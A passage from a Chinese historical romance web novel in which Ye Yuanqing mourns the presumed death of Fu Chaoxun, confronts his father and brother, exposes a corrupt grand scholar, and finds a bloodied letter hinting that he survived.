叶元倾让叶元萧去找刘钦,经过叶元萧一番旁敲侧击,还真的从他那里套出了一点信息,听刘钦的意思是,傅朝寻最近在调查一匹奇怪书籍,而这些书籍又牵扯到了温衍以前的私塾,所以,想要查的更详细一些,只能去找接管私塾的刘智。 刘智不如他父亲兄长严谨,几句话就套出了一些关键线索,叶元萧根据这些线索,找到了书籍编辑的位置,并且锁定了傅朝寻最后去过的地方。 又经过三天三夜的大面积搜寻,叶元萧终于找到了傅朝寻最后出现的一个村庄,他在村庄里盘查一番,本以为很快就能找到傅朝寻,结果查着查着线索突然断了,好像有人做了手脚。 转眼过去十天,傅朝寻失踪的消息传遍了整个京城。 为了寻找傅朝寻,叶展桡亲自登门去找傅亲王,傅亲王虽是惊讶,但还是客气地请他进了家。 傅朝寻和叶元倾的事情傅亲王听说过一些,也知道傅朝寻为了叶元倾做过不少混账事情,虽然他不太愿意两府联姻,但是儿女情长的事他也无力阻拦,这么久以来他对二人的事情一直都是睁一只眼闭一只眼。 叶展桡与傅亲王交谈一番后,发现傅亲王对傅朝寻的失踪也是焦灼不安,每说一句话就叹一口气,应该也很担心儿子。 叶展桡派出一批军队留给亲王府,全力配合他们找人。 叶卓听说傅朝寻失踪以后来看望叶元倾,见她担忧难过,他也心疼不已。 叶元倾是爱傅朝寻的,很爱很爱。 从西陵街暗杀那晚他就应该明白,当他松开石门独留傅朝寻一人应付坏人时,他就已经输了。 那种生死关头,傅朝寻是在用性命保护叶元倾,也在保护其他人。而他却因为身份连爱都不敢说出口,比起傅朝寻他太逊色了。 他舍不得叶元倾落泪,也开始带着人四处寻找傅朝寻,他想为她做点事情。 正月的天气越来越好,很快就到了元宵节,每家每户欢声笑语其乐融融,只有将军府和亲王府冷冷清清。 叶元倾每日以泪洗面,精神状态越来越差。 皇上那边虽然对傅朝寻的失踪感到唏嘘,但是却不曾派人去寻找他,甚至在这期间还给禹国通信取消了傅呈延的婚约,说要给太子叶卓寻一位良人前去和亲。 也许在有些人眼里,傅朝寻的失踪根本不值一提。 转眼到了二月,春回大地,暖风徐徐,院中的大树也开始抽起绿丝。 这日,叶元萧急匆匆地跑来,看到叶元倾后张了张口没有说出话来,一双眼睛通红通红。 叶元倾见他这幅模样,立即僵在了原地,良久才问出一句:“找到了是吗?” 叶元萧点了一下头,强忍着泪水道:“尸体……已经t?腐烂了,是在一座悬崖下的坑里找到的,应该是跌落悬崖后掉进去埋在了里面。那天,他们可能遭到了一场屠杀。” 掉落悬崖。 叶元倾话还没听完,眼泪就落了下来,她直挺挺地坐在了身后的凳子上,脑袋懵懵的,眼前一片漆黑。 她愣了许久,问出一句:“傅朝寻,死了?” 死了? 叶元萧点头回道:“傅亲王已经确认过了,人确实是傅朝寻,还在他身旁找到了一个香囊,那香囊……应该是你绣的。” 说起香囊,叶元倾连最后侥幸的期盼都没有了,她一只手紧紧抓着桌沿,许久都没有反应过来,她不相信傅朝寻就这样死了,他怎么就这样死了? 叶元萧红着双眼轻声问:“马上就要下葬了,你要不要去看看他?” 怎么能不去?她肯定要去看看,她想看看那到底是不是傅朝寻。 只是,她的脚抬不起来,身子也轻飘飘的,一点力气都没有。 叶元萧扶着她走出房间,叫来了马车把她抱了上去。 叶元倾坐在马车里,晃晃悠悠的,感觉那么的不真实,她心里虽然很疼,但是却不再流泪了,因为她不相信傅朝寻真的死了。 他们到了亲王府,王府里跪着很多人。 院中摆放着一口棺材。 傅亲王看到他们前来,一双眼睛更红了。 叶元倾走到棺材前,直挺挺地站着没敢往里看。 亲王府的管家过来,递给她一个带血的香囊,香囊已经被鲜血染得通红,但是仍能看清上面歪歪扭扭的鸳鸯。 这是她送给傅朝寻的,她通宵绣出来送给傅朝寻的。 这是她陪他过得第八个生辰,终于送了一件礼物给他,可他却离世了。 这是多么荒谬的事情呀!老天都没有一点怜悯心吗? 她站了许久才向棺材里看去。 腐烂的尸体触目惊心。 黑发,衣衫都是傅朝寻的,他每次外出办事总爱穿这件黑色衣服,前世里也穿过无数次,哪怕只是看一片衣角,她也认得出来。 这是傅朝寻。 所以,傅朝寻还是死了? 她紧握着香囊,扫视众人,看到一脸严肃的傅亲王。 她走上前,凝噎地问:“王爷,你告诉我,到底是谁杀的他?是你们亲王府的人,还是别人?” 是谁这么残忍。 “放肆,敢对王爷如此无礼。”傅亲王的护卫立即抽出了佩剑。 叶元恒和叶元萧急忙跑上前挡在了叶元倾面前。 傅亲王皱着眉,摆手让护卫下去,对叶元倾道:“此事还在查,你不必着急。” 不必着急?人都死了怎么能不着急? 叶元倾仅剩的智终是在此刻崩塌了,泪水决堤般流着,今日她倒要与这位人面兽心的父亲说说,前世今生,傅朝寻都活在他的阴影下,现在人都死了,他怎么还能这么淡定。 无所谓了,傅朝寻都死了,她还怎么活?她要把傅朝寻受的所有委屈都说出来,没有人为他喊冤,那她就替他喊冤。 她往前走了一步,毫无畏惧地抬头望着傅亲王,流着眼泪问他:“王爷,傅朝寻在您心里重要吗?他的死对您重要吗?如果不是那么重要,我可不可以把他带走,我可不可以亲手把他安葬了?以前,他对我说,他牵挂我,是因为他不想哪天死了还死的那么凄凉,起码还有一个牵挂的人。作为父亲,您不心疼他吗?您都给了他什么?” 除了打压辱骂还有什么? “妹妹!”叶元恒见她越说越激动,抓住了她的胳膊,眼前的人毕竟是王爷,话不能说太绝。 前世记忆如潮般涌出,叶元倾悲伤的情绪已经让她失去了智,大不了就是死,她什么也不怕。 她甩开叶元恒的手,流着眼泪继续道:“我也是有父亲的人,我知道被父亲疼爱是什么滋味,我更知道被父亲打压打骂有多难过。他自一出生就没有了娘亲,连娘亲什么模样都没有见过,作为父亲的你难道不该多给他一些关心和疼爱吗?为什么还要让他悲惨的人生更加悲惨呢?” “你知道他在渴望什么吗?他在期盼什么吗?是别人那里非常寻常而在他这里比登天还难的父爱。因为一顿年夜饭他苦等了三十年,因为想让你喜欢他,想让我们的日子过得更好,他不要命的努力着,到头来还要让傅呈延把他的功劳抢走,还要死在别人手里。他不要什么嫡长子的权力,也不要高高在上的位置,他只想过平常人的生活。” “我们在一起时,他努力了七年都没有走出亲王府,最后死的时候连双腿都被人砍掉了。而现在,好不容易看到一点希望,却又死了。” 她不禁冷笑,这到底是他命不好,还是天道不公? 她已经不知道自己在说什么了?她看不清眼前的人,她也不在乎别人惊讶的目光。 没有人解她和傅朝寻的那七年。 心疼,太心疼了,人为什么要遭受这样的罪呢? 现在她也解了傅朝寻前世对她说的那句话,他说:“元倾,在我烂透的人生里,只有努力争取权力才能拼一拼你口中的人生。” 她口中的人生那么简单那么美好,他却两世都得不到。 人形同蝼蚁,说死就死。 王府很安静,鸦雀无声。 她又转头看向一旁的傅呈延,一步步走到他面前,冷笑道:“你现在满意了吗?以后再也不会有人压你一头,你也不用再提心吊胆地担心他抢你的位置。那天,你说你想要弥补做兄长的亏欠,你弥补了吗?你是真心想弥补吗?还是想接近我另有目的?傅呈延,同为手足,就算为了权势避免不了野心,好歹留一点人情味呀!你抢了他那么多功劳,你踩着他的背一步步上位,你真的好意思吗?西域平反那次……那次……” 她哭得更厉害了,话都快说不成句了,想起来,让人那么心疼。 “西域平反那次,他差点连命都没有了,脖子用钢丝勒出一个很深很深的伤痕,手指也断了一根,全身上下全是伤,真的无法想象他是怎样从那种生死搏斗中挺过来的,你作为他的兄长,你看到那些伤口你不心疼吗?为什么还能那么狠心的去争抢他的功劳呢?没有愧疚感吗?到底是什么样的人能对自己的亲生弟弟做出这种残忍的事情。” 她也有兄长,她也有两个哥哥,但是她感受到的只有疼爱和包容,她一点也解不了他们那种手足之情。 从前世起,她就想不明白,世上怎么会有傅朝寻这样的父亲和兄长。 她擦着眼泪冷笑着:“我不怕死,我也想和他一起死,若是得罪了你们,杀我一个便好,别为难我的家人。” 以后的人生还很长,没有傅朝寻她要怎么活呢? 叶元萧红着眼睛牵住了她的手,对傅亲王道:“我妹妹对傅朝寻情深义重,他的离世对妹妹来说打击很深,还请安葬他时能让妹妹陪同。” 让她送他最后一程。 亲王府里所有人都在沉默,傅亲王和傅呈延也一言不发。 这样一位弱女子,流着眼泪控诉着,任谁看了都心疼,任谁听了那些话都痛心。 今日的阳光有些刺眼,照在冰冷的棺材上,明明是暖光,却看起来那么凄凉。 叶元倾感觉整个人都被掏空了,双腿都在发抖,她走到棺材前,看着躺在里面的人,眼前灰蒙蒙的,头也沉沉的。 就像那天一样,他躺在她的怀里,血一直流一直流,把她的衣服全部染红了。 那时候,他还能叫她一声“元倾”。 现在,连“元倾”也叫不了了。 心好疼啊!她承受不住了。 他一个人去另一个世界,一定很孤独很难过,她好想陪着他。 她抬起头看看天,眼睛突然什么都看不清了,心跳也突然停止了。 她迷迷糊糊听到有人喊了一声“元倾”。 元倾! 她分不清是哥哥喊的,还是傅朝寻喊的。 她想回应,却已经做不出任何反应。 风吹来,院中的桃花香更浓了。 耳边似乎响起了傅朝寻的声音:“元倾!你穿这件粉色桃花的衣服真好看。” …… “妹妹,妹妹……” “妹妹,你醒醒,妹妹……” “快叫大夫,叫大夫。” 第67章 第 67 章 “现在,换我来为你抵挡…… 叶元倾昏迷了两日才醒来, 她坐在窗前,望着院中的大树,感觉就像做了一场梦, 也感觉傅朝寻根本就没有死。 他是从石头缝里长出来的参天大树, 怎么可能说倒就倒。 无论他是生是死,她都要为他讨t?一个公道,都要让那些陷害他们的人付出惨痛代价。 以前,总是他为她扛下一切,也为叶家扛下所有困难和罪行,这一次,由她来为他做些什么。 二月的天气总是那么好, 风也暖暖的,深夜里她来到傅朝寻的坟前, 拿了一束花儿送给他。 她在坟前站了很久很久,夜风中,她说:“傅朝寻,若是你想在烂透的人生里种出一片花儿, 我愿意做那束照着花儿的阳光。若是有人践踏了你种出来的花儿,我愿意做那把杀人的刀子。” “现在, 换我来为你抵挡一切。” —— 昏暗的房间里,一袭白衣的傅呈延拖着额头坐在桌案前,他脑子里一直回荡着叶元倾那日说的话。 那日她声泪俱下地控诉着, 她哭得很伤心,很绝望, 他从来没见过哪个女子会哭成这般,也从来没见过哪个女子能说出那番有道的话。 她很痴情,她很爱傅朝寻。 以前他总觉得傅朝寻像个铁人一样, 不会喊苦,不会喊累,好像永远都不会倒下。但是他现在恍然明白,他也是一个和他一样有血有肉的人,他也有不堪一击的时候,也有死亡的时候。 他很后悔那晚在母亲坟前与他吵架,也后悔当时没有停下马车带他一起回亲王府,那样他可能就不会遇害。 “公子。”小厮过来叫他,“王爷找您。” 他站起身,了一下衣衫,去了父亲的房间。 父亲房间里没有掌灯,漆黑一片。 他进屋叫了一声“父亲”,然后立在一旁等着父亲先开口说话。 傅柏弘坐在椅子上,昏暗中看不清他的神情,他先叫了一声“延儿”,然后沉声道:“你说说,今后,要如何走。” 如何走,这是一个难题。 他沉默了一会,回道:“孩儿一切都听从父亲安排。” 二十几年来,他一直都在听父亲的安排。 傅柏弘沉沉叹了口气,说:“以前是我低估了寻儿,一直把他当做一只难以驯服的野兽,他的能力比你强很多,但是他太耿直,做事也太拼命,这样的人容易有牵挂,也不适合做君王。所以,哪怕他挥起利爪向我反抗,我也没有给他一丝机会。如今……他不在了,我才明白,原来,不是他太凶残,而是我一直用驯服的眼光看待他。那日叶元倾说的话,让我很惭愧,很心痛,也让我知道,原来在别人眼里我是这样的父亲。” 一个残忍的父亲。 傅呈延没做声,黑夜里,他能感受到父亲的难过和懊悔。 房间里又安静了很久,傅呈延道:“朝寻去世后,太子那边肯定会立即行动,如今凭我一己之力定然应付不了。大寺若是落入旁人手中,对我们来说非常不利。孩儿觉得,是时候让二弟出面了,可以让他先到大学士那里当值,大学士最近在招纳才子,想私下培养出一批人才,若是二弟被他培养出来,以后定然对我们很有帮助。二弟的外祖父家最近风评不好,他舅舅一直不敢露头,孩儿觉得,您也可以趁此机会从梁家里挑出一个人送给大学士,如此梁家人肯定会更加信任亲王府,若是有了梁家人帮衬,我们以后的路就不会那么难走了。” 傅呈延头一次在父亲面前分析局面,以前都是父亲给他分析,给他出主意,这一次他主动了一回。 傅柏弘听了他的话琢磨了很久,沉声回道:“你说的有点道,最近我也在考虑怎么用梁家的人,等我与王妃商议商议再做决定。” 傅呈延应了一声,然后又说:“我有一事想求父亲答应。” “什么事?” “我想迎娶叶元倾。” “迎娶叶元倾?”傅柏弘惊了一声。 傅呈延给他解释:“温家铲除以后,太后和太子没有了靠山,权利也大不如从前,我听宫里的探子说,太后准备让太子迎娶叶元倾,想趁机夺走他们手里的兵权,然后交给他们信赖的人。若真是如此,太子壮大势力会对我们有很大影响。如果我们两府联姻,不仅能断了太子的后路,还能帮助亲王府,岂不是两全其美。叶元倾嫁给太子,叶家只有死路一条,孰轻孰重叶家人自会考量。傅青祖母当年与您有过恩情,叶元倾嫁过来我们也不会亏待她,为了叶府,我想叶元倾也会答应。” 傅呈延说的面面俱到。 傅柏弘皱着眉头,沉思良久,说:“此事等我考虑考虑再说,寻儿刚离世,家中不宜谈论婚事,况且叶元倾喜欢的人是朝寻。” 那日任谁都能看出来,叶元倾非常爱傅朝寻,也为他的死感到痛心。 傅呈延怕父亲误会,急忙解释道:“父亲别担心,我知道朝寻和叶元倾的事情,我迎娶叶元倾只是想保护将军府,并不是对她有情。成婚以后,她若是不愿意,我会给她另设一个院子,等我们的事情完成了,她不想跟我,我再与她和离。” 傅亲王问他:“你对她没有感情?” 他回答的很干脆:“没有。” “好,等我考虑考虑。” —— 时间过得很快,转眼到了三月,三月的天气更好,总是阳光明媚,晴空万里。 这一个月里,叶元倾一直都在调查,她从大学士那里查到太子,又从太子那里查到傅呈延,她发现他们之间就像一张巨大的网,互相有牵连,又互相撕咬对方。 傅朝寻生前在调查的那批奇怪书籍,她也查出了问题,那些书籍关系到通敌卖国和艳曲淫词。大学士身为当朝重要官员,不仅以公谋私,还打算蛊惑人心,这种行为已经不能单纯用坏来形容了。 奇怪的是,在这期间,傅亲王竟然把自己的二儿子傅峥临以及傅峥临的表哥送给了大学士,让他们进了吏部当值,也不知傅亲王是否知晓大学士在做掉脑袋的事情,若是不知,那么大学士被铲除时,傅峥临和梁家必受牵连。 现在,她只等把所有人证物证搜集齐全,然后将他们一网打尽。 她饱读诗书,又懂兵法,加上兄长的帮助和叶家的权力,深入调查起来也不算太难。 最近她把市面上所有有问题的书籍都买来看了一遍,然后把重要问题标注和做了笔记,还把售卖此类书籍的人都抓来一一审问。 经过寻问,她发现叶宁的三哥叶绍最近也在看这些书籍,他不仅看了,还被叶宁发现后偷走了几本。 叶宁偷走的那几本书里,有一本是误人子弟的教唆内容,其中还有关键的通敌卖国信息。 而巧的是,叶宁把这几本书给了叶卓,叶卓看后发现不妙,就立马差人前去调查,经过调查,他在印刷书籍的地下通道里抓到了两名撰写书籍的作者,而这两名作者又刚好是大学士的学生。 如此一层推一层,他们很快就把大学士的所有关系都扒了出来。 大学士刘贺清贪污腐败,组织了一个特大团伙,他指使团伙蛊惑人心,还大量赚取不义之财。 现在人证物证都在叶元倾手中,只要她上报给皇上,这群人就得全部掉脑袋。 只是,她现在不确定的是,这群人是太子的人还是傅亲王的人,若是太子的人,大学士倒下,会给他致命一击,不仅会丢失人心,可能连太子之位都难保。若是傅亲王的人,此事一出,将会给亲王府带来翻天覆地的变化,更甚者全府人头落地,而且傅朝寻即便死了也不会留下好名声。 实在太复杂,也牵连太多,叶元倾一直都不敢轻举妄动,她要把所有事情都搞明白了,也要查出傅呈延和他父亲到底在做什么。 这日,傅呈延突然登门拜访,说有事找叶元倾。 叶元倾请他进了客房。 叶元倾看着这个死了亲弟还能精神抖擞的傅呈延,恨得咬牙切齿。 傅呈延直接说出了来意:“我现在有些话要告诉你,你只听着就好,听仔细一些,别说话。” 他连与人交谈都如此强势,实在让人厌烦。 叶元倾蹙着眉头没有应声。 傅呈延看着她,非常认真地道:“我和父亲在做一件非常重要的事情,这件事情,关系到整个陵国的未来。” 他道出了叶元倾多日的疑惑。 “皇上得了绝症,再也生不出子嗣,如今他膝下只有太子,而太子在太后身边长大,不仅没有主见还软弱无能,t?他信任太后,也总是恳求别人能够帮助他,自己根本就不懂如何壮大自己,这样的人以后做不了明君。” “太后又不是个好人,她一再的让自己娘家人插手国事,能看出来她非常有野心,她为她娘家的人争取了很多权力,若是太子一直不能自立,可能还未登基就被太后娘家的人给取代了。陵国江山是我们傅家人用鲜血一点点打下来的,怎能就此落入他人手中。” “当初先皇驾崩时,曾有意立我父亲为新皇,并且还开了圣旨要写下遗诏,可是还未等动笔就被人动了手脚,遗诏没写成,圣旨还不翼而飞了。后来四子夺位,在我父亲攻入城门时,当今皇上又把我和朝寻抓走拿命威胁,我父亲不得已,只好放弃了皇位来保我们,然后又把我们送到叶家寄养了一年。” “多年过去,我父亲虽有不甘,但是年纪大了也没有继续争夺皇位的心思,只是后来我们发现,皇上被人陷害,已经不能再延续子嗣,而太子又毫无主见软弱无能,我父亲为了守住皇家血脉只好打算让我去争一个皇位出来。” 他说到这里停了一会,眉头紧皱着,继续道:“可是我心有余而力不足,空有一身学问,不能真正施展,因为父亲怕皇上和太子陷害我我,一直很少让我露面” 他又说起了曾经的计划:“其实,我本来是想借温家之手夺去你们叶家两府的权力,然后再把温家搬倒,孰料温衍因为你发疯破坏了我的计划,还把温家干倒了。虽然温家倒了对太子和太后打击很大,但是他们并不害怕,因为还有你们叶家。” “你们叶家是整个王朝的主力,你父亲和你二哥掌握重要兵权,谁若是抢走了你们手中的权力,谁就有胜算。现在太子那边已经开始行动,可能不久后太后就会有一道圣旨下来,把你赐给太子,把叶宁赐给国舅爷的小儿子。” 他说到这里看了看她,见她一直垂头不语,又停了一会。 他道:“我想朝寻遇难也和太子太后有关,因为他们知道你和朝寻的关系,若是你们二人成婚,会对他们非常不利。最近朝寻在京城出尽风头,不仅扰乱了我和父亲的计划,还把一直帮助我们的姜家除掉了。” “结果……他自己还丢了性命。” 傅呈延说着说着声音低了下来,深吸着气,身上那种高傲的气质又突然不见了。 叶元倾审视着他,猜想他一直以来的高傲可能都是伪装的,为的就是显示自己很有能耐。 她仔细听完他这些话,听到一半时就明白了事情的来龙去脉。 傅亲王和傅呈延确实有苦衷,但是对傅朝寻不好也确实是真的。 “所以,你如何打算?”叶元倾问他。 傅呈延见她如此淡定,微眯了下眼睛,回道:“我打算与你成婚。” 他说话很直接,就像看她的眼神一样直接。 叶元倾没有立即出声,蹙眉望着他问:“用两府联姻来保将军府?” “对。”他道。 “那你又怎知我拒绝不掉太子?即便是赐婚,也不是绝对的。”叶元倾道。 傅呈延挑唇笑了,说:“你要是有这个能力,你可以试试。那日皇宫赴宴,你没有发现皇上是在试探你们吗?皇上这个人疑心很重,他一直怀疑太师府和禹国有勾结,因为叶卓藏在太师府十几年一直没有发现,他怎么可能不起疑心。” “叶卓对你一往情深,赖在这里不走,皇上宁愿让你嫁给太子,也不会让你嫁给叶卓。太子毕竟是他的亲生儿子,他再忌惮太后,他也生不出一个儿子来,若是太子向他请求,你觉得皇上会不会答应?等皇上下了赐婚圣旨,你们叶家要拿什么来拒绝?拒绝就是死罪,皇上再给你们安一个通敌卖国的罪名,谁又能救得了你们?” “叶元倾。”他紧紧看着她,沉声道:“现在,只有我能救你。” 只有他? 他真自信。 她皱着眉一直没有说话。 他好似能猜出她的心思,又道:“你嫁给傅峥临,更不可能,傅峥临和梁家人搭上了大学士的船,而大学士这条船马上就要沉入海底了,他怎么能帮的了你。况且,大学士那边,你不是一直在查吗?现在就差你动手了。” 他竟然知道她在调查大学士,傅呈延好像要比她想象的聪明。 她没有开口。 “那天。”傅呈延又说,“那天,你在亲王府哭着说的那些话我和我父亲全都听进了心里。你说的很对,我和父亲都没有做好我们应尽的责任,是我们亏待了朝寻。我父亲很爱我娘亲,因为我娘亲患有病症,我父亲一直不敢让她生孩子,可是我娘亲怕我孤单,怕先皇强塞给我父亲的妾室陷害我,就冒死生了朝寻,为的是让朝寻以后帮助我,而她自己为了生朝寻搭上了性命。” “我母亲是自私的,她为了我害了朝寻,让朝寻一出生就没有母亲,也让父亲因为痛失爱妻对朝寻生厌,而我作为一个兄长,又从未给过他关怀。我们……所有人都对不起他。” 他的语音更低了。 但是现在说这些又有什么用呢?人都死了。 世人就是如此,总是在失去后才反省过来,才后悔,殊不知当初的所作所为把人害成了什么样子。 “非得成婚吗?”叶元倾问他,“若是我们两家联手,不也一样吗?” 傅呈延没有回答。 叶元倾不禁冷笑了:“傅呈延,你没有别的心思吗?” 她也直接问他。 最近这段时间,她回忆了很多前世的事情,也回忆了那段被人诬陷的“通奸”,直到今天她才发现,原来当初那个“通奸”对象就是傅呈延,不然那人怎么只说出一个“傅”字就被王爷割掉了舌头。 这父子俩是何等的自私。 那时候,傅朝寻经常不在家,傅呈延却不断地让江不讳出入亲王府,为的是什么?为的就是离间她和傅朝寻的关系。 虽然前世傅朝寻的死可能和他没有无关,但是他的所作所为却间接性地害了他。 傅呈延像是被戳中了心思,皱眉沉默着。 叶元倾起身道:“你今日说的话我会认真考虑,但是你休想用你那高傲的姿态来牵制我们叶家。我们叶家人光明磊落,不畏生死,更不想卷进你们争夺皇位的厮杀中去。你对傅朝寻做过什么,你有没有因为怕能力不及他而嫉妒,你心里很清楚。你伤害了就是伤害了,无需给自己找借口。我和傅朝寻感情很深,就算他死了,也永远不会从我心里消失。你且回去等着,等我思考完了,我会给你答案。” 叶元倾没留任何余地。 傅呈延抬眸看她,这一次他终是知道,连傅朝寻那样冷漠又花言巧语的人为何都为她着迷了。 她确实不是那么容易得到的人,太有自己的思想了,看似一朵娇艳的花儿,实则满身是刺,把温衍把叶卓刺的遍体鳞伤。 他直到离开都未再说一句话。 叶元倾把他送走以后去了书房,她又把大学士那条线重新梳了一遍,还根据傅呈延的话分析出太子和国舅爷一家的目的和将来计划。 傍晚的时候叶宁和叶卓来了。 叶宁见叶元倾一直坐在书房里忙活,她很想帮忙,却无从下手。 叶卓了解京城的所有路线以及商贸来往,他和叶元倾在书房里梳到大半夜,终于做出了一个万无一失的完整计划。 二人出了书房,发现叶宁已经趴在桌子上睡着了。 叶卓走上前想抱她走,叶元倾指了指一旁的凳子让他坐下来,问他:“你可与宁儿谈好了?” 最近叶卓变化很大,为了她和傅朝寻的事尽心尽力,还让人给禹国皇帝通了信,说暂且不能回去,并且面对她也不再是仇大苦深的表情。 叶卓看了一眼熟睡中的叶宁,轻笑道:“都与她说开了,也给她道歉了。宁儿很懂事,她没有为难我,我能做宁儿的兄长实属三生有幸。其实,她自己根本都不了解自己的感情,等过两年再大一些,她就明白了。以后无论我在哪里,我都会把她当做亲生妹妹一样对待。” 他抬头看她,眼睛里不再是化不开的深情,而是一种毫无杂念的欣赏,他道:“t?妹妹!我也向你郑重道歉,很抱歉给你制造了那么多麻烦。等这件事情处完,我就会回禹国,以后你和宁儿有机会去禹国玩,到时候我带你们去看禹国美丽的风景。还记得不久前,我娘亲让我带着你和宁儿到青山吃果子,只可惜直到现在都没去成,不过没有关系,回头我把青山的果子都买来给你们吃。” 叶元倾安静地听着,不禁笑了,心里也酸酸的,她轻声道:“妹妹也很开心有卓哥哥这一路的陪伴,妹妹也祝福哥哥以后能过得幸福快乐。” “会的。” 那天皇上说:若是感情深,也不必在意什么感情。 是的,有时候,人也需要活的糊涂一些,太聪明太清醒了反而会失去更多。 —— 叶元倾从来没有放弃过寻找傅朝寻,虽然他的坟墓她已经去过好几回,但是她依然相信傅朝寻一定还活着。 春天的风景就是美丽,连风都是偏爱的。 她乘着马车一路向傅朝寻跌落的悬崖寻去,从村庄到山坡,从山坡到田野,每一个地方她都找的非常仔细,每一个地方她都找了一遍又一遍。 山脚下有一个村庄,她去了很多次,村里的人很热情很朴实,她每次去村民们都会说:“快看,那个女子又来寻她的男人了。” 她每每听到都会回一句:“你们若是见到我相公,请一定要告诉我。” 有人说她疯了,傅朝寻明明已经去世,两个人明明没有成婚,她却总是叫他相公。 村头有一条小溪,小溪里的水很清澈很漂亮,她每次来都会在这里坐一会。 她看着小溪的水,一直流一直流,看着树叶落上去很快就会飘走,她看着看着眼泪也会止不住地流。 她捡了一根树枝在地上写着她和傅朝寻的名字,还写了很多爱他的话。 这段时间她没有太痛苦,因为她知道,他从来没有离开过。 “叶姑娘。”有位村民跑来喊她。 “有人在山洞里发现一封信,你快去看看是不是你相公丢下的。” 第68章 第 68 章 真相 连绵的山脉一眼望不到头, 峰峦叠嶂,灌木丛生,风一吹, 尽是青山绿叶的味道。 叶元倾跟着村民沿着小溪走回村庄, 一路上她沉默不言,神经紧绷,心中的激动,期待,让她越走越快。 到了村口,一位老伯拿着信过来,递给她, 道:“姑娘,这是我在一个山洞里捡到的, 你看看是不是你家相公留下的东西。” 信纸又皱又破,殷红的鲜血格外醒目。 叶元倾伸手接过来,只是看了一眼眼眶就红了。 这是她给傅朝寻写的信,是让他生辰那日再打开看的信。 信上写着:傅朝寻, 相识两生,有你足矣。 当时她还不知如何向他表达爱意, 就羞涩地写下了这句话,还告诉他让他到生辰那天再看。 结果,生辰那天, 他遇难了。 她激动地问老伯:“这个……这个是从哪里找到的?” 老伯指了指远处的一座山:“今早我去那座山上采药,爬到半山腰发现了一个山洞, 进去后,在一块小石头下看到了这个,我想, 这可能是姑娘的相公留下来的,就拿来让姑娘看看。那座山很高很荒芜,很少有人过去,离这里也有些远,若是姑娘想过去,我现在就带你去。” 叶元倾点着头,眼泪已经掉了下来。 老伯领着他们到了那座山上,叶元倾进了山洞,看到满地的血渍终是忍不住哭了起来。 他应该没有死,他应该还活着。 她激动地又哭又笑,调来人开始大面积的搜山。 这片山又大又复杂,在里面找人如同大海捞针。 他们找了很久都没有找到傅朝寻。 叶元倾回到家中已到傍晚,一家人都在前堂里坐着,神色很差。 她担忧地问:“怎么了?” 祖母傅青叹了口气,没说话。 叶元恒皱着眉,起身道:“今日太后的人来叫你进宫,你不在家,我便去了一趟。到了皇宫,太后对我说,她今日叫你过去,是想说说你和太子的婚事,她想让太子娶你。” 让太子娶她? 果然,果然像傅呈延说的那样。 叶元倾忙问:“然后呢?有没有说赐婚?” 若是赐婚,就难收场了。 叶元恒叹气道:“提了一下,那意思是你若是不愿意她就赐婚,还说把叶宁嫁给国舅爷的小儿子。” “这怎么行。”叶元倾蹙起眉头,“他们怎么还惦记起了宁妹妹,国舅爷小儿子暴虐成性,怎么能把宁妹妹嫁给他。” 这群人真是毫无人情可言,看来是真的准备对他们动手了。 娘亲走到她跟前,见她虚弱的脸颊苍白如纸,抓起她的手,心疼地道:“倾儿,别难过,宁儿的事由你伯父操心。太子这边,你若是不想嫁,我们也会给你想办法。你出去找了那么长时间,一定没吃好睡好吧!脸色这么差,娘带你去吃东西,好好休息休息,有精神了才能应付。” 叶元倾点着头,然后问父亲:“父亲,若是我们不答应,会有什么后果?” 叶展桡愁着脸,皱着眉道:“太子的目的很明显,想争夺我们手中的兵权,傅朝寻不在以后,大寺落入了太后娘家人的手中,新大寺卿一上任就开始调查督稽司和悦令堂,还揪着我手下的一个副将不放。他们权利很大,若真是动起手来,我们叶家很难应付。” 那毕竟是太子和太后,纵使叶展桡再有能耐,也只是一个将军。 叶元倾思量着,又问:“那如果我答应嫁给太子呢?” 答应? 叶展桡没回答,屋里鸦雀无声。 过了好一会,叶元恒道:“若是妹妹答应嫁给太子,若是双方相辅相成,可能只会有益无弊,毕竟太子将来是要做皇帝的。” 所有官家联姻都是为了相辅相成巩固自己的权力。 太子得到叶家的拥护,不说能百分之百顺利登基,起码往后不会很艰难,而将军府的未来,就会和太子一荣俱荣,一损俱损。 若是不联姻,只是单纯的合作,那么将军府就会成为众矢之的,结果如何不想而知,单单傅亲王就不会轻易放过他们。 现在已经走投无路了。 傅青看了看叶元倾,沉沉叹了口气,道:“倾儿先别想太多,若是你真的不想嫁,祖母会想办法帮你,也会保住将军府不受牵连。你先去休息,好好睡一觉。” 叶元倾知道祖母在安慰她,站起身,应了一声就回了闺房。 她洗漱一番,换了一身干净的衣服,母亲端了饭菜过来,拉着她坐下,盛了一碗粥递给她,看着她消瘦的脸颊,心疼地道:“倾儿,娘有些话要说,你别生气。娘觉得,这么久过去了,你也该放弃了,娘知道你很想傅朝寻,但是,这样无结果的寻找真的太累了。当时尸体你也见到了,他父亲也确认了,说不定他真的离开了。你这样满世界的寻找,娘真的很心疼。” 作为母亲,看着女儿一天天瘦下来,她真的一点办法都没有。 叶元倾喝了一口粥,回道:“娘别担心,我很快就能找到他,他肯定没有死,今天我在山上找到了一封信,那信是我以前送给他的,若是他真的死了,那信怎么还能出现在半山腰上。娘,我爱傅朝寻,我也相信他不会死,我不会放弃寻找他的。” 永远也不会放弃。 温容心疼的红了眼眶,见她如此执着,也没再劝她。 叶元倾太累太饿了,吃了很多东西,然后又沉沉地睡了一觉。 翌日她一早她就让家里的兄长带着所有人证物证去了一趟皇宫。 日后不知会如何,先搬倒一家是一家。 经过叶家几位公子的指证,大学士刘贺清一族因贪赃枉法被判处死刑,傅峥临和他的表弟牵扯其中被打入大牢,所有参与作案的团伙全都关押了起来。 大学士刘氏一族倒了,牵连到的梁家也丢了权势。 傅亲王为了傅峥临东奔西跑,一直都没有把他救出来。 多位恶人和家族清除,朝中已经发生了翻天覆地的变化,前世那些陷害叶家的坏人几本全都倒下了,现在只剩下太子和亲王府。 太子和亲王府已经失去了助力,再斗争起来显然有些吃力,如今两家把主意都打在了叶家人的身上,就像前世那样,为了争夺将t?军府的兵权,开始撕咬,开始陷害。 太子无所不能地想通过大寺的调查给叶家找出一些麻烦,傅呈延也不断地给叶元倾施压。 转眼又过了一个月,太子那边终是坐不住了,求皇上下了一道赐婚圣旨,准备迎娶叶元倾。 圣旨一下,回天无力。 将军府陷入沉默,已经没有了抗衡的余地。 叶元倾默默流着眼泪,虽有不甘,但是对这种情况也无能为力。 这日傅呈延又来找她。 叶元倾看着他,眉头紧皱着。 